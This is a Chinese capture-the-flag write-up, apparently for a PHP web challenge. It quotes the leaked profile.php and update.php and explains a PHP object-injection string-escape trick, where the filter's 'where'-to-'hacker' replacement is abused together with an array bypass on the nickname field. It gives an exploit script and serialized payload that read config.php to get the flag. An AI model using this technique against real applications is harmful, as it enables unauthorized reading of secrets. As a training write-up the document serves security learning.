打开环境后是这样：
找了挺多地方没啥头绪，干脆直接上dirsearch：
发现有源码泄露，直接下载下来分析。先进行自动审计：
发现有疑似的漏洞，但根据题目来看是反序列化的，还是要自行进行审计，在profile.php中有个unserialize反序列化，打开文件后还看到一个file_get_contents读文件：
profile.php：
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>
profile信息存在，则后面有个else 。 可能这就是最终利用到的代码：
$photo = base64_encode(file_get_contents($profile['photo']));
注意一下update.php，它做了一个上传的限制：
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {
?>
注意到class.php中的数据库查询有个过滤规则，这里刚刚好拿来逃逸利用
然后在config.php中发现：
看到这里有个flag 应该是要class调用config.php进行读取了
访问register.php注册一个账号，然后登录可更新信息：
果然把 我们的photo 替换成了hacker
exp：
<?phpclass b
{public $phone = "12345678901";public $email = "123@qq.com";public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");public $photo = "config.php";
}
$a=new b();
$profile = serialize($a);
echo $profile;?>
输出结果：
O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:170:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
再次更新时抓包：
Content-Disposition: form-data; name="nickname"替换数据并使用数组绕过：
然后访问profile.php，查看源码得到：

base64解码得到flag：
